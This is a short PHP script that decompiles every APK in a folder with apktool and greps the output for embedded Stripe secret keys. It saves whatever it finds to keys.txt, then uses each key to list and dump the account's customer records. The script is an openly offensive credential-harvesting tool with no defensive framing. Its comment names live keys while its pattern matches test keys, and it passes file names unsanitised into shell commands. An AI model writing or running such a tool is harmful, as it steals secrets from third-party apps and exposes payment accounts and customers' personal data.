a.php

<?php

require_once('stripephp/init.php');

//Load up the APK's.
$files = array_diff(scandir(dirname(__FILE__) . '/apks'), array('..', '.'));

//Decompile each, and grep for sk_live
foreach($files as $file){

    shell_exec('apktool d apks/' . $file . ' -o source/ -f');

    preg_match('~sk_test_\w+~', shell_exec('grep -r \'sk_test\' ' . dirname(__FILE__) . '/source/'), $result);
    //Should only have a single key; ignore multiples.
    file_put_contents('keys.txt', $result[0] . PHP_EOL, FILE_APPEND);
}

$keys = file('keys.txt');

foreach($keys as $key){

    \Stripe\Stripe::setApiKey(trim($key));

    $customers = \Stripe\Customer::all();

    var_dump($customers);
}